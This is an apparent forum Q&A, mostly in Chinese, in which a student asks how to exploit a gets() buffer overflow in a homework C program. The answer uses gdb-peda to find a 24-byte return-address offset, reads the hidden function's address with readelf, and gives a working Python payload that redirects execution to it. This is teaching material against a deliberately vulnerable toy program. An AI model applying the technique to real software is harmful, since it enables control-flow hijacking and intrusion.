我如何利用缓冲区溢出?

How can I exploit a buffer overflow?

我有一项家庭作业要利用给定程序中的缓冲区溢出。

#include <stdio.h>
#include <stdlib.h>

int oopsIGotToTheBadFunction(void)
{
        printf("Gotcha!\n");
        exit(0);
}

int goodFunctionUserInput(void)
{
        char buf[12];
        gets(buf);
        return(1);
}

int main(void)
{
        goodFunctionUserInput();
        printf("Overflow failed\n");
        return(1);
}

教授希望我们利用输入 gets()。我们不应该以任何方式修改代码,只会创建一个会造成缓冲区溢出的恶意输入。我在网上看过,但我不确定该怎么做。我正在使用 gcc 版本 5.2.0 和 Windows 10 版本 1703。任何提示都会很棒!

更新:

我查阅了一些教程,至少找到了我试图溢出的隐藏函数的地址,但我现在卡住了。我一直在尝试 运行 这些命令:

gcc -g -o vuln -fno-stack-protector -m32 homework5.c
gdb ./vuln
disas main
break *0x00010880
run $(python -c "print('A'*256)")
x/200xb $esp

使用最后一个命令,它会显示 "Value can't be converted to integer." 我尝试将 esp 替换为 rsp,因为我使用的是 64 位,但结果相同。是否有解决此问题或其他方法来查找 buf 地址的方法?

由于 buf 指向长度为 12 的字符数组,因此输入任何长度大于 12 的内容都会导致缓冲区溢出。

首先,您需要找到覆盖指令指针寄存器(EIP)的偏移量。

使用gdb + peda很有用:

$ gdb ./bof
...
gdb-peda$ pattern create 100 input
Writing pattern of 100 chars to filename "input"
...
gdb-peda$ r < input
Starting program: /tmp/bof < input
...
=> 0x4005c8 <goodFunctionUserInput+26>: ret    
   0x4005c9 <main>: push   rbp
   0x4005ca <main+1>:   mov    rbp,rsp
   0x4005cd <main+4>:   call   0x4005ae <goodFunctionUserInput>
   0x4005d2 <main+9>:   mov    edi,0x40067c
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe288 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffe290 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffe298 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0x7fffffffe2a0 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0032| 0x7fffffffe2a8 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0040| 0x7fffffffe2b0 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0048| 0x7fffffffe2b8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0056| 0x7fffffffe2c0 ("AJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004005c8 in goodFunctionUserInput ()
gdb-peda$ patts
Registers contain pattern buffer:
R8+0 found at offset: 92
R9+0 found at offset: 56
RBP+0 found at offset: 16
Registers point to pattern buffer:
[RSP] --> offset 24 - size ~76
[RSI] --> offset 0 - size ~100
....

现在可以覆盖EIP寄存器了,偏移量为24字节。正如在你的家庭作业中一样,只需要打印 "Gotcha!\n" 字符串。只需跳转到 oopsIGotToTheBadFunction 函数。

获取函数地址:

$ readelf -s bof 
   ...
   50: 0000000000400596    24 FUNC    GLOBAL DEFAULT   13 oopsIGotToTheBadFunction 
   ...

进行漏洞利用并得到结果:

[manu@debian /tmp]$ python -c 'print "A"*24+"\x96\x05\x40\x00\x00\x00\x00\x00"' > input
[manu@debian /tmp]$ ./bof < input
Gotcha!